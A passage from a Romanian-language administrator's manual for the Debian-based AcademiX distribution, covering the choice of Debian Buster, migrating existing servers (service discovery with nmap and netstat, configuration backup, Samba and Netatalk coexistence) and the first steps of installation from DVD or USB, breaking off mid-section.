ÎN PRACTICĂ Costul total al proprietății reprezintă totalitatea banilor cheltuiți pentru deținerea sau achiziția unui articol, în
Total cost of ownership (TCO) acest caz referindu-se la sistemul de operare. Acest preț include orice taxe posibile de licență, costuri pentru
personalul de instruire pentru a lucra cu noul software, înlocuirea mașinilor prea lente, reparații suplimentare,
etc. Tot ce rezultă direct din alegerea inițială este luat în considerare.
Acest TCO, variind în funcție de criteriile alese în evaluarea acestuia, este rareori semnificativ atunci când este
luat izolat. Cu toate acestea, este foarte interesant să comparăm costurile diferitelor opțiuni dacă sunt calculate
după aceleași reguli. Prin urmare, acest tabel de evaluare are o importanță crucială și este ușor de manipulat
pentru a trage o concluzie predefinită. Astfel, costul pentru o singură mașină nu are sens, deoarece costul unui
administrator se reflectă și în numărul total de mașini pe care le administrează, un număr care depinde, evident,
de sistemul de operare și de instrumentele propuse.

Dintre sistemele de operare libere, departamentul IT a analizat distribuțiile libere BSD (OpenBSD, FreeBSD și
NetBSD), distribuțiile GNU Hurd și Linux. GNU Hurd, care nu a lansat încă o versiune stable, a fost imediat
respins. Alegerea este mai simplă între BSD și Linux. Primul are multe merite, în special pe server-e. Cu toate
acestea, pragmatismul a dus la alegerea unui sistem Linux deoarece, odată instalat, baza și popularitatea sa
sunt foarte semnificative și au consecințe pozitive. Una dintre aceste consecințe este că este mai ușor să
găsești personal calificat pentru a administra mașini Linux decât tehnicienii cu experiență BSD. Mai mult,
Linux se adaptează mai rapid la hardware-ul mai nou decât BSD (deși sunt adesea la mustață în această
cursă). În cele din urmă, distribuțiile Linux sunt adesea mai adaptate la interfețele grafice de utilizator, care
sunt indispensabile pentru începători în timpul migrării tuturor mașinilor de birou către un nou sistem.

ALTERNATIVĂ Începând cu Squeeze, este posibil să folosești Debian cu un nucleu FreeBSD pe calculatoare de 32 sau 64 de biți;
Debian GNU/kFreeBSD asta înseamnă kfreebsd-i386 și kfreebsd-amd64. Deși aceste arhitecturi nu sunt “arhitecturi cu versiuni
oficiale”(sunt găzduite pe oglinzi separate — ports.debian.org), aproximativ 70% din software-ul
împachetat de Debian este disponibil pentru acestea.
Aceste arhitecturi pot reprezenta alegerea potrivită pentru administratorul Școlii Generale, în special pentru un
“firewall” (nucleul are suport pentru trei paravane de protecție diferite: IPF, IPFW, PF) sau pentru un NAS
(sistem de stocare conectat la rețea, pentru care sistemul de fișiere ZFS a fost testat și avizat).

2.4. De ce distribuția AcademiX, bazată pe Debian?

După ce a fost selectată familia Linux, trebuie aleasă o opțiune mai specifică. Din nou, există o mulțime de
criterii de luat în considerare. Distribuția aleasă trebuie să poată funcționa mai mulți ani, deoarece migrarea
de la una la alta ar presupune costuri suplimentare.
Durabilitatea este, așadar, esențială și trebuie să garanteze constant actualizări și corecții de securitate pe
mai mulți ani. Sincronizarea actualizărilor este, de asemenea, semnificativă, deoarece, cu atât de multe
mașini de gestionat, Școala Generală nu poate face față acestei operațiuni complexe prea des. Prin urmare,
departamentul IT insistă să ruleze cea mai recentă versiune stabilă a distribuției, beneficiind de cea mai bună
asistență tehnică și garanții de securitate. De fapt, actualizările de securitate sunt în general garantate doar
pentru o durată limitată pe versiunile mai vechi ale unei distribuții.

45
În sfârșit, din motive de omogenitate și ușurință în administrare, aceeași distribuție trebuie să ruleze pe toate
server-ele și calculatoarele de birou.

2.4.1. Distribuții comerciale sau distribuții conduse de comunitate

Există două categorii mari de distribuții de GNU/Linux: comerciale și conduse de comunitate. Prima,
dezvoltată de firme, este vândută cu servicii de asistență comercială. A doua este dezvoltată conform
aceluiași model de dezvoltare transparent folosit de programele libere pe care le include.
O distribuție comercială va avea, astfel, o tendință să lanseze noi versiuni mai frecvent, pentru a îmbunătăți
actualizările de pe piață și serviciile asociate. Viitorul lor depinde direct de succesul comercial al firmei și
multe deja au dispărut (Caldera Linux, StormLinux etc.).
O distribuție condusă de comunitate urmează doar planificarea proprie. La fel ca nucleul Linux, versiunile
noi sunt lansate când sunt stabile, niciodată mai devreme. Supraviețuirea lor este garantată, atâta timp cât
are destui dezvoltatori sau firme terțe să o susțină.
O comparație între diferitele distribuții GNU/Linux a condus la alegerea lui Debian, ca bază pentru
AcademiX, din mai multe motive:
• Este o distribuție comunitară, cu dezvoltarea asigurată independent de constrângerile comerciale;
obiectivele sale sunt, astfel, esențial de natură tehnică, care pare să favorizeze calitatea de
ansamblu a produsului.
• Dintre toate distribuțiile din comunitare, aceasta este cea mai semnificativă din mai multe
perspective: ca număr de participanți, număr de pachete software disponibile și ani de existență
continuă. Dimensiunea comunității sale este un martor incontestabil al continuității sale.
• Statistic, noile versiuni sunt lansate la fiecare 18 până la 24 de luni și sunt acceptate timp de 5 ani, o
planificare acceptabilă pentru administratori.
• Un studiu pe mai multe firme care oferă servicii specializate pe programe libere a arătat că toate
oferă asistență tehnică pentru Debian; de asemenea, este distribuția aleasă pentru utilizarea internă
de multe dintre ele. Această diversitate de potențiali furnizori este o valoare importantă pentru
independența Școlii Generale.
• În sfârșit, Debian este disponibil pe o multitudine de arhitecturi; va fi astfel posibil să-l instaleze pe
cele mai recente server-e ale Școlii Generale.

ÎN PRACTICĂ Proiectul Debian cu Suport pe Termen Lung (LTS) a început în 2014 și își propune să ofere 5 ani de asistență de
Suport Debian pe Termen Lung securitate tuturor versiunilor Debian stabile. Deoarece LTS are o importanță primordială pentru organizațiile cu
implementări mari, proiectul încearcă să pună în comun resurse de la companii care utilizează Debian.
➨ https://wiki.debian.org/LTS
Școala Generală nu este suficient de mare pentru a permite unui membru al personalului său IT să contribuie la
proiectul LTS așa încât compania a optat să se aboneze la contractul LTS de la Freexian și oferă asistență
financiară. Datorită acestui fapt, administratorul Școlii Generale știe că pachetele pe care le folosește vor fi
gestionate cu prioritate și are un contact direct cu echipa LTS în caz de probleme.
➨ https://wiki.debian.org/LTS/Funding
➨ http://www.freexian.com/services/debian-lts.html

După ce a fost ales AcademiX, trebuie decisă versiunea ce va fi folosită. Hai să vedem de ce administratorii
au ales versiunea bazată pe Debian Buster.

2.5. De ce Debian Buster?

Fiecare versiune Debian își începe existența ca o distribuție în continuă schimbare, cunoscută și sub numele
de “Testing”. Însă la momentul în care scriem aceste rânduri, Debian Buster este cea mai recentă versiune
“Stable”.
Proiectul AcademiX a pornit în momentul când Debian era la versiunea Stretch. Alegerea lui Debian a fost
bine justificată pe baza faptului că orice administrator preocupat de calitatea server-elor lor va gravita natural
spre versiunea stabilă Debian. Chiar dacă versiunea stabilă anterioară ar putea fi încă acceptată o perioadă,
dezvoltatorul proiectului AcademiX, administratorul Școlii Generale nu o ia în considerare, deoarece perioada
de asistență nu va dura suficient de mult și pentru că ultima versiune aduce noi funcții interesante de care
sunt interesați.

46
47
 Repere

Configurația existentă
Refolosirea
Migrația

48
Capitolul 3

3. Configurația existentă și migrarea

Conţinut
Coexistența în medii eterogene 50 Cum se migrează 51

Orice revizuire a sistemului informatic ar trebui să țină cont de sistemul existent. Acest lucru permite
reutilizarea resurselor disponibile pe cât posibil și garantează interoperabilitatea diferitelor elemente
conținute de sistem. Acest studiu va introduce un cadru generic pe care să îl urmeze în orice migrare a unei
infrastructuri de calcul către Linux.

49
3.1. Coexistența în medii eterogene
AcademiX și Debian se integrează foarte bine în toate tipurile de medii existente și se manifestă bine față de
orice alt sistem de operare. Această armonie aproape perfectă provine din presiunea pieței care solicită
editorilor de software să dezvolte programe care respectă standardele. Respectarea standardelor permite
schimbarea programelor de către administratori: client sau server, indiferent dacă sunt libere sau nu.

3.1.1. Integrarea cu mașinile Windows

Suportul SMB/CIFS de la Samba asigură o comunicare excelentă într-un context Windows. Partajează fișiere
și liste de așteptare la imprimare clienților Windows și include software care permite unei mașini Linux să
utilizeze resursele disponibile pe server-ele Windows.

INSTRUMENT Cea mai recentă versiune Samba poate înlocui cele mai multe caracteristici Windows: de la cele ale unui simplu
Samba Windows NT server (autentificare, fișiere, cozi de imprimare, descărcare de drivere de imprimantă, DFS etc.) la
cea mai avansată (un controller de domeniu compatibil cu Active Directory).

3.1.2. Integrarea cu mașinile OS X

Mașinile OS X furnizează și pot utiliza servicii de rețea cum ar fi server-ele de fișiere și partajarea
imprimantelor. Aceste servicii sunt publicate în rețeaua locală, care permite altor mașini să le descopere și să
le utilizeze fără nicio configurație manuală, folosind implementarea Bonjour a suitei de protocoale Zeroconf.
Debian include o altă implementare, numită Avahi, care oferă aceeași funcționalitate.
În cealaltă direcție, demonul Netatalk poate fi utilizat pentru a furniza server-e de fișiere pentru mașinile OS X
din rețea. Implementează protocolul PPA (PartajareaApple), precum și notificările necesare, astfel încât
serverele să poată fi descoperite de către OS X clients.
Rețelele Mac OS mai vechi (înainte de OS X) foloseau un protocol diferit numit AppleTalk. Pentru mediile
care implică mașini care folosesc acest protocol, Netatalk oferă și protocolul AppleTalk (de fapt, a început ca
o reimplementare a acelui protocol). Acesta asigură funcționarea server-ului de fișiere și a cozilor de
imprimare, precum și a time server (sincronizarea ceasului). Funcția sa de router permite interconectarea cu
rețelele AppleTalk.

3.1.3. Integrarea cu alte mașini Linux/Unix

În cele din urmă ambele incluse, NFS și NIS garantează interacțiunea cu sistemele Unix.
NFS asigură funcționalitatea server-ului de fișiere în timp ce NIS creează directoare pentru utilizatori. Stratul
de imprimare BSD, utilizat de majoritatea sistemelor Unix, permite și împărțirea cozilor de imprimare.

50
 Figura 3.1 Coexistența AcademiX cu sistemele OS X, Windows și Unix

3.2. Cum se migrează

Pentru a garanta continuitatea serviciilor, fiecare migrare a unui computer trebuie planificată și executată
conform planului. Acest principiu se aplică indiferent de sistemul de operare utilizat.

3.2.1. Servicii de supraveghere și identificare

Acest pas este esențial deși pare simplu. Un administrator serios cunoaște cu adevărat rolurile principale ale
fiecărui server dar astfel de roluri se pot schimba și uneori utilizatorii experimentați pot avea instalate servicii
“murdare”. Știind că există, cel puțin, vă va permite să decideți ce să faceți cu ele în loc să le ștergeți
întâmplător.
În acest scop este înțelept să vă informați utilizatorii despre proiect înainte de a migra server-ul. Pentru a-i
implica în proiect poate fi util să instalați cele mai comune programe de software liber pe computerele lor
înainte de migrare, pe care le vor întâlni din nou după migrarea către AcademiX; suita Libre Office și Mozilla
sunt cele mai bune exemple aici.

3.2.1.1. Rețea și procese

Instrumentul (în pachetul cu același nume) nmap va identifica rapid serviciile de internet găzduite de o mașină
conectată la rețea fără a fi nevoie chiar să vă conectați la ea. Pur și simplu apelați următoarea comandă pe o
altă mașină conectată la aceeași rețea:

$ nmap mirwiz
Starting Nmap 7.40 ( http://nmap.org ) at 2017-06-06 14:41 CET
Nmap scan report for mirwiz (192.168.1.104)
Host is up (0.0037s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds

51
5666/tcp open nrpe
9999/tcp open abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVĂ Pe o mașină Linux comanda netstat -tupan va afișa lista sesiunilor TCP active sau în așteptare precum și
Folosiți netstat pentru a găsi porturile UDP pe care ascultă programele care rulează. Acest lucru facilitează identificarea serviciilor oferite în
lista serviciilor disponibile rețea.

ÎN DETALIU Unele comenzi de rețea pot funcționa fie cu IPv4 (de obicei implicit) fie cu IPv6. Acestea includ comenzile
IPv6 nmap și netstat, dar și altele cum ar fi route sau ip. Convenția este că acest comportament este activat
prin opțiunea -6 liniei de comandă.

Dacă server-ul este o mașină Unix, care oferă utilizatorilor conturi shell, este interesant să se stabilească
dacă procesele sunt executate în fundal în absența proprietarului lor. Comanda ps auxw afișează o listă a
tuturor proceselor cu identitatea utilizatorului lor. Verificând aceste informații în ieșirea comenzii who, care
oferă o listă de utilizatori conectați, este posibil să identificați server-e sau programe necinstite sau
nedeclarate care rulează în fundal. Privind crontabs (tabele care prezintă acțiunile automate programate
de utilizatori) acestea or oferi adesea informații interesante despre funcțiile îndeplinite de server (o explicație
completă a comenzii cron este disponibilă în secțiunea 9.7. “Planificarea sarcinilor cu cron și atd” pagina 179).
În orice caz, este esențial să faceți backup la server-ele dvs.: acest lucru permite recuperarea informațiilor post
factum când utilizatorii vor raporta probleme specifice din cauza migrării.

3.2.2. Copia de rezervă a configurației

Este bine să păstrați configurația fiecărui serviciu identificat pentru a putea instala echivalentul pe server-ul
actualizat. De bază este să faceți o copie de rezervă a fișierelor de configurare.
La mașinile Unix, fișierele de configurare se găsesc de obicei în /etc/ dar pot fi localizate într-un
subdirector al /usr/local/. Acesta este cazul dacă un program a fost instalat din surse, mai degrabă
decât cu un pachet. În unele cazuri, le puteți găsi și în /opt/.
Pentru serviciile de gestionarea datelor (precum bazele de date) este recomandat să exportăm datele într-
un format standard care va fi importat cu ușurință de noul software. Un astfel de format este de obicei în
modul text și documentat; poate fi de exemplu, un SQL dump pentru o bază de date sau un fișier LDIF pentru
un LDAP server.

Figura 3.2 Copii de rezervă ale Bazei de date

Fiecare software server este diferit și este imposibil de descris în detaliu toate cazurile existente. Comparați
documentația software-ului existent și al celui nou pentru a identifica porțiunile exportabile (deci,
reimportabile) și cele care vor necesita control manual. Citirea acestei cărți va clarifica configurația
principalelor programe ale Linux server.

52
3.2.3. Preluarea unui server Debian existent
Pentru a prelua în mod eficient întreținerea acesteia, se poate analiza o mașină care rulează deja cu Debian.
Primul fișier verificat este /etc/debian_version, care conține de obicei numărul de versiune pentru
sistemul Debian instalat (face parte din pachetul base-files). Dacă indică codename/sid înseamnă că sistemul a
fost actualizat cu pachete care provin dintr-una din distribuțiile de dezvoltare (testing sau unstable).
Programul apt-show-versions (din pachetul Debian cu același nume) verifică lista pachetelor instalate și
identifică versiunile disponibile. aptitude poate fi de asemenea utilizat pentru aceste sarcini, deși într-o
manieră mai puțin sistematică.
O privire în fișierul /etc/apt/sources.list (și directorul /etc/apt/sources.list.d/) va arăta de
unde provin pachetele Debian instalate. Dacă apar multe surse necunoscute, administratorul poate alege să
reinstaleze complet sistemul computerului pentru a asigura o compatibilitate optimă cu software-ul furnizat de
Debian.
Fișierul sources.list este adesea un indicator bun: majoritatea administratorilor păstrează, cel puțin în
comentarii, lista surselor APT care au fost folosite anterior. Însă nu trebuie să uitați că sursele utilizate în
trecut ar fi putut fi șterse și că unele pachete întâmplătoare luate de pe Internet ar fi putut fi instalate manual
(cu comanda dpkg). În acest caz, mașina este derutantă sub aparența de Debian “standard”. Acesta este
motivul pentru care ar trebui să acordați atenție oricărei indicații care va oferi prezența pachetelor externe
(aspectul fișierelor deb în directoare neobișnuite, numere de versiune de pachet cu un sufix special care
indică faptul că provine din afara proiectului Debian, cum ar fi ubuntu sau lmde, etc.).
De asemenea este interesant de analizat cuprinsul directorului /usr/local/, al cărui scop este de a
conține programe compilate și instalate manual. Programul de listare instalat în acest mod este instructiv
deoarece acest lucru ridică întrebări cu privire la motivele pentru care nu se utilizează pachetul Debian
corespunzător, dacă există un astfel de pachet.

O PRIVIRE RAPIDĂ Pachetele cruft și -ng propune listarea fișierelor disponibile care nu sunt deținute de niciun pachet. Are unele
cruft/cruft-ng, filtre (mai mult sau mai puțin eficiente și mai mult sau mai puțin actualizate) pentru a evita raportarea unor
debsums și fișiere legitime (fișiere generate de pachete Debian sau fișiere de configurare generate de care nu sunt gestionate
apt-show-versions dpkg, etc.).
Aveți grijă să nu ștergeți orbește tot ce ar putea lista cruft și cruft-ng!
Pachetul debsums permite verificarea hashsum MD5 al fiecărui fișier instalat de un pachet față de un hashsum
de referință și poate ajuta la determinarea fișierelor care ar fi putut fi modificate (consultați bara laterală
“Găsirea fișierelor modificate” pagina 116). Rețineți că fișierele create (fișiere generate de pachete Debian sau
fișiere de configurare generate care nu sunt gestionate de dpkg etc.) nu fac obiectul acestei verificări.
Pachetul apt-show-versions oferă un instrument pentru a verifica pachetele instalate fără o sursă de pachete și
poate ajuta la determinarea pachetelor terță parte (vedeți secțiunea 6.7.3.1. “Pachete eliminate din arhiva
Debian” pagina 117).

3.2.4. Instalarea AcademiX

Odată ce toate informațiile necesare pe server-ul curent sunt cunoscute îl putem închide și vom începe să
instalăm AcademiX pe el.
Pentru a alege versiunea corespunzătoare, trebuie să cunoaștem arhitectura computerului. Dacă este un
computer rezonabil de actual, este cel mai probabil să fie amd64 (PC-urile mai vechi erau de obicei i386). În
alte cazuri putem restrânge posibilitățile în funcție de sistemul utilizat anterior.
Tabelul 3.1 pagina 53 nu este destinat să fie exhaustiv dar poate fi util. În orice caz, documentația originală
pentru computer este cea mai fiabilă sursă pentru a găsi aceste informații.

Sistem de Operare Arhitectură(i)

DEC Unix (OSF/1) alpha, mipsel
HP Unix ia64, hppa
IBM AIX powerpc
Irix mips
OS X amd64, powerpc, i386
z/OS, MVS s390x, s390
Solaris, SunOS sparc, i386, m68k

53
 Sistem de Operare Arhitectură(i)
Ultrix mips
VMS alpha
Windows 95/98/ME i386
Windows NT/2000 i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 i386, amd64, ia64
Windows RT armel, armhf, arm64
Windows Vista / Windows 7-8-10 i386, amd64

Tabelul 3.1 Potrivirea sistemului de operare și arhitecturii

HARDWARE Cele mai recente computere au procesoare Intel sau AMD pe 64 biți compatibile cu procesoare mai vechi de 32
64 bit PC vs 32 bit PC biți; de aceea, software-ul compilat pentru arhitectura “i386” funcționează. Pe de altă parte, acest mod de
compatibilitate nu exploatează pe deplin capacitățile acestor noi procesoare.
Acesta este motivul pentru care Debian oferă arhitectura “amd64”, care funcționează pentru cipuri AMD recente
precum și procesoare Intel “em64t” (inclusiv majoritatea seriilor Core), care sunt foarte similare cu AMD64.

3.2.5. Instalarea și configurarea serviciilor selectate

Odată instalat AcademiX, trebuie să adăugăm și să configurăm unul câte unul toate serviciile pe care trebuie
să le găzduiască acest computer. Noua configurație trebuie să ia în considerare configurarea anterioară
pentru a asigura o tranziție lină. Toate informațiile colectate în primii doi pași vor fi utile pentru completarea
cu succes a acestei părți.

Figura 3.3 Instalați serviciile selectate

Înainte de a începe cu entuziasm acest exercițiu este recomandat să citiți restul acestei cărți. După aceea,
veți avea o înțelegere mai precisă a modului de configurare a serviciilor preconizate.

54
55
 Repere

Instalare
Partiționare
Formatare
File system
Boot sector
Detectare hardware

56
Capitolul 4

4. Instalarea
Conţinut
Metode de instalare 58 Instalarea, pas cu pas 61 După prima pornire 77

Pentru a folosi Debian trebuie să îl instalați pe un calculator; această sarcină este preluată de programul
debian-installer. Instalarea corectă implică multe operații. Acest capitol le trece în revistă în ordinea lor
cronologică.

57
 NOȚIUNI DE BAZĂ Instalarea unui computer este întotdeauna mai simplă atunci când vă familiarizați cu modul în care funcționează.
O incursiune prin anexe Dacă nu sunteți, faceți o trecere rapidă prin anexa B. “Scurt curs de remediere” pagina 359 înainte de a citi acest
capitol.

Instalatorul pentru AcademiX se bazează pe debian-installer. Designul său modular îi permite să

funcționeze în diferite scenarii și îi permite să evolueze și să se adapteze la schimbări. În ciuda limitelor,
implicate de necesitatea de a sprijini un număr mare de arhitecturi, acest program de instalare este foarte
accesibil începătorilor deoarece asistă utilizatorii în fiecare etapă a procesului. Detectarea automată a
hardware-ului, compartimentarea ghidată și interfețele grafice ale utilizatorului au rezolvat majoritatea
problemelor cu care s-au confruntat novicii în primii ani ai lui Debian.
Instalarea necesită 128 MB de memorie RAM (Random Access Memory) și cel puțin 2 GB de spațiu pe hard disk
pentru un sistem foarte limitat, fără un desktop grafic. Un minim de bază de 1 GB de memorie RAM și 10 GB
spațiu pe hard disk sunt cu adevărat recomandate pentru o stație de lucru de birou.
AcademiX face actualizările majore după calendarul Debian. Astfel, versiunea 2.4 s-a bazat pe Stretch iar
versiunea 2.5 se bazează pe Buster. Acum și în multe alte ocazii, vom reaminti faptul că AcademiX e bazat
pe Debian; această repetiție poate fi enervantă, dar folositoare pentru fixare modului de lucru în “stilul
Debian”.

ATENȚIE Dacă aveți deja AcademiX bazat Buster instalat pe computer, acest capitol nu este pentru dvs.! Spre deosebire de
Trecerea de la Jessie la Stretch alte distribuții, Debian permite actualizarea unui sistem de la o versiune la alta fără a fi nevoie să reinstalați
sistemul. Reinstalarea, pe lângă faptul că nu este necesară, ar putea fi chiar periculoasă deoarece ar putea elimina
programele deja instalate.
Procesul de actualizare va fi descris în secțiunea 6.7. “Trecerea de la o distribuție stabilă la următoarea” pagina
115.

4.1. Metode de instalare

Un sistem AcademiX poate fi instalat de pe mai multe tipuri de suporturi (medii) atât timp cât BIOS-ul mașinii
permite. Puteți de exemplu să porniți cu un CD-ROM, sau chiar printr-un stick USB.

NOȚIUNI DE BAZĂ BIOS (care înseamnă Basic Input/Output System) este un software care este inclus în placa de bază (placa
BIOS, interfața electronică care conectează toate perifericele) și este executat la pornirea computerului pentru a încărca un
hardware/software sistem de operare (prin intermediul unui bootloader adaptat). Acesta rămâne în fundal pentru a oferi o interfață
între hardware și software (în cazul nostru, nucleul Linux).

Cele mai multe sisteme noi sunt pe arhitectura de 64 bit. Pentru sistemele mai vechi există şi o imagine pe
32 bit. Pentru a afla tipul arhitecturii unui calculator cu Windows, este de ajuns să faceți clic pe Start→ Panou
de control; faceți dublu clic pe Sistem și verificați tipul de sistem. Pentru a determina tipul de arhitectură în
Linux şi implicit distribuţia care va fi instalată pe calculator, deschideţi o fereastră de terminal (Ctrl+Alt+T),
și ca root, tastați comanda uname -a.

4.1.1. Instalarea de pe un CD-ROM/DVD-ROM

Cea mai utilizată metodă de instalare este de pe un CD-ROM (sau DVD-ROM, care se comportă exact la
fel): computerul este pornit de pe acest suport, iar programul de instalare preia controlul.
Pentru a obține imaginea iso, puteți desigur să o descărcați și să o ardeți pe disc. Verificați situl
➨ https://academixproject.com/download/.
Scrierea imaginii se face pe DVD din Linux, folosind utilitarul brasero (instalat din utilitarul EDU sau din
consolă cu comanda apt install brasero).
Vom selecta Burn image, vom identifica folderul unde am descărcat-o, de obicei în /Downloads, după care
vom selecta discul şi eventual proprietăţi (scriere, la viteză moderată sau redusă), ca în imaginea de mai jos:

58
 Figura 4.1 Selectarea Burn Image în Brasero

4.1.2. Pornirea de pe un stick USB

Deoarece majoritatea computerelor pot porni de pe dispozitive USB, puteți instala AcademiX și de pe un stick
USB (aceasta nu este altceva decât un mic disc cu memorie flash).
Manualul de instalare explică cum se creează un stick USB care conține debian-installer. Procedura
este foarte simplă, deoarece imaginile ISO pentru i386 și amd64 sunt imagini hibride care se pot porni de pe
un CD-ROM precum și de un stick USB.
Mai întâi trebuie să identificați numele dispozitivului USB (ex: /dev/sdb); cel mai simplu mijloc de a face
acest lucru este să verificați mesajele emise de kernel folosind comanda dmesg. Apoi trebuie să copiați
imaginea ISO descărcată anterior (de exemplu academix_2.5-stable_64bit.iso) cu comanda cat
academix_2.5-stable_64bit.iso >dev/sdb; sync. Această comandă necesită drepturi de
administrator, dat fiind că accesează stick-ul USB direct și șterge orbește conținutul acesteia.
O explicație mai detaliată este disponibilă în manualul de instalare. Printre altele, descrie o metodă
alternativă de pregătire a unui stick USB care este mai complexă dar care permite personalizarea opțiunile
implicite ale instalatorului (cele setate în linia de comandă a kernel-ului).
➨ http://www.debian.org/releases/stable/amd64/ch04s03.html
Pentru a realiza un USB boot-abil din Linux, putem folosim și interfața grafică a unui utilitar de inscripționare
cum ar fi etcher, din pachetul balena-etcher (fost etcher-electron), sau linia de comandă, cu comanda dd.
Recomandăm pentru început folosirea utilitarului etcher care este foarte simplu de utilizat; selectăm
imaginea, stick-ul USB pe care instalăm — mare atenție să avem conectat în porturile USB doar stick-ul gol
pe care se va instala distribuţia AcademiX). La crearea unui stick boot-abil, el va fi formatat astfel că
informația de pe el va fi ștearsă şi se va scrie imaginea necesară instalării.

Figura 4.2 Folosirea lui Etcher pentru stick USB boot-abil

59
4.1.3. Alte metode de instalare
Instalarea AcademiX, sau a oricărei distribuții, pe un microcomputer poate părea destul de simplă față de
situația când trebuie să implementăm instalări personalizate, cum este cazul unui laborator de informatică
din cadrul unei școli sau oricărei alte unități de serviciu (învățământ, economic, etc) pentru un număr mare
de computere. În general alegem o metodă de instalare automată, mai degrabă decât una manuală. În
funcție de situație și de complexitatea instalărilor care urmează să fie făcute, putem folosi FAI (Fully
Automatic Installer descris în secțiunea 12.3.1. “Instalatorul complet automat (FAI)” pagina 279), sau chiar un CD de
instalare personalizat cu presetare (vedeți secțiunea 12.3.2. “Presetare debian-installer” pagina 280).

4.2. Înainte de instalare

Pentru a instala AcademiX pe calculator, avem nevoie de pregătirea acestuia.

NOȚIUNI DE BAZĂ Când instalați Windows și AcademiX pe un hard disk partajat, este important să aveți în vedere,mai întâi,
Discuri și Partiții aspectul partiției. Instalarea automată a lui Windows creează, în mod normal, o partiție de încărcare de 100 MB
și ocupă restul discului pentru sistem, software și date.
La instalarea lui AcademiX ar trebui să fie avem, cel puțin, o partiție swap și o partiție pentru sistemul de fișiere
rădăcină.
Maxim patru partiții primare într-un tabel de partiții MBR par suficiente pentru a porni dual Windows și
AcademiX.
Instalarea pe o unitate separată, desigur, întotdeauna este o opțiune.

PRECAUȚIE Când se instalează mai multe sisteme de operare, se recomandă instalarea în această ordine 1-Windows, 2-
Instalarea multi-boot AcademiX (Linux) şi nu invers, ca urmare a modului particular de partiționare pe care sistemele bazate pe
Windows o realizează.
Ați mai observat, că spre deosebire de ceea ce știați în Windows, aici este nevoie de 2 partiții , cea de sistem şi
partiția de swap pentru ca distribuţia să funcționeze. În cazul de față, am instalat Windows 10, apoi Debian şi
mare atenție, în final AcademiX, dar am specificat la instalarea AcademiX ca partiția de swap de la Debian să nu
fie folosită la instalarea AcademiX, pentru că Debian, și sistemele bazate pe Debian, tind să modifice din start
(implicit) partițiile swap ale altor distribuţii linux.

ATENȚIE Întrucât configurația Windows va suprascrie cel puțin GRUB; pentru instalări proaspete pare rezonabil să
Ordinea instalărilor instalați mai întâi Windows și apoi Debian. Deocamdată, la nivel de începător, vom instala doar AcademiX peste
Windows.
Partiționarea în Windows 10 a discului dur se face cu ajutorul utilitarului Disk Management,
executând click dreapta pe meniul Start (sau apăsând Windows + X) şi selectând “Disk Management”.

Pe un disc GPT, ordinea instalării noi nu contează.

4.2.1. Considerații pentru calculatoarele tradiționale

În mod tradițional, calculatoarele personale sunt preinstalate cu Windows pe un disc MBR și se pornește
folosind BIOS-ul vechi. Instalarea (sau chiar actualizarea cu Windows Update) a Windows-ului va rescrie
înregistrările GRUB și AcademiX nu va mai putea fi pornit până când nu va fi remediat.

4.2.2. UEFI + GPT rezolvă totul

Dacă mașina dvs. este dotată cu UEFI , se recomandă formatarea întregului disc în GPT înainte de a instala
orice sistem de operare pe acesta. Cu UEFI + GPT, Windows Boot Manager și GRUB sunt izolate și
reinstalarea Windows-ului (sau actualizarea acestuia la o altă versiune) nu va rescrie înregistrările GRUB pe
disc. Și din această cauză, ordinea de instalare a acestor 2 sisteme nu contează deloc.

4.2.3. Adăugarea automată a lui Windows în meniul de încărcare GRUB

Dacă ați instalat Windows după instalarea AcademiX sau ați reușit să înlăturați intrarea de boot a GRUB în alt
fel, sistemul de operare vă ajută să îl adăugați automat prin update-grub.

60
➨ https://wiki.debian.org/DualBoot/Windows

PRECAUȚIE Vom avea grijă să lăsăm neatinse partițiile C (a sistemului Windows) și cea rezervată pentru sistem (aici 500
Editarea partițiilor MB), atunci când edităm partițiile pentru noul sistem (distribuție).

SFAT Linux nu mai urmează aceeași notare pentru partiții; de aceea e recomandat să notăm denumirile și mărimile
Identificarea partițiilor partițiilor de Windows.

4.3. Instalarea, pas cu pas

4.3.1. Boot-area și pornirea instalatorului
Odată ce BIOS-ul a început bootarea de pe CD/DVD-ROM sau stick USB, apare meniul Isolinux bootloader. În
această etapă nucleul Linux nu este încă încărcat; acest meniu vă permite să alegeți nucleul de pornit și să
introduceți parametrii posibili care să fie transferați la acesta în proces.

ÎN DETALIU Diferența fundamentală între sistemele pe 32 și 64 biți este dimensiunea adreselor de memorie. În teorie, un
sistem pe 32 biți nu poate funcționa cu mai mult de 4 GB RAM (232 bytes). În practică, este posibil să se rezolve
32 or 64 bits? această limitare folosind varianta de kernel 686-pae, atât timp cât procesorul gestionează funcționalitatea PAE
(Physical Address Extension). Folosirea acestuia are însă o influență notabilă asupra performanței sistemului.
Acesta este motivul pentru care este util să folosiți modul pe 64 biți pe un server echipat cu o memorie RAM
mai mare.
Pentru un computer de birou (unde o diferență de câteva procente de performanță este neglijabilă) trebuie să
rețineți că unele programe proprietare nu sunt disponibile în versiuni pe 64 de biți (cum ar fi Skype, de
exemplu). Tehnic este posibil să le faci să funcționeze pe sisteme pe 64 de biți dar trebuie să instalați versiunile
pe 32 de biți ale tuturor bibliotecilor necesare (a se vedea sectiunea 5.4.5. “Asistență multi-arch” pagina 91) și
uneori să utilizați setarch sau linux32 (în pachetul util-linux) pentru a păcăli aplicații cu privire la natura
sistemului.

Pentru o instalare standard trebuie doar să alegeți “Instalare” sau “Instalare grafică” (cu tastele săgeată) apoi
apăsați tasta Enter pentru a începe restul procesului de instalare. Dacă DVD-ROM-ul este un disc “Multi-
arch” iar mașina are un procesor Intel sau AMD 64 bit, opțiunile de meniu “instalare pe 64 bit” și “instalare
grafică pe 64 bit” permit instalarea variantei pe 64 bit (amd64) iar varianta implicită pe 32 bit (i386) rămâne
valabilă în sub-meniul dedicat (“opțiunea de instalare 32-bit”). Dacă aveți un procesor pe 32 bit, nu alegeți
intrările din meniu “instalează varianta pe 32 de bit” (i386).
La apariție, AcademiX v.1, a avut ambele variante, dar (încă) fiind o echipă mică și cu noile tendințe, avănd
în vedere progresul tehnologic, s-a renunțat la 32 bit odată cu lansarea versiunii 2.

ÎN PRACTICĂ Dacă computerul rulează deja Windows, nu este necesar să ștergeți sistemul pentru a instala AcademiX. Puteți
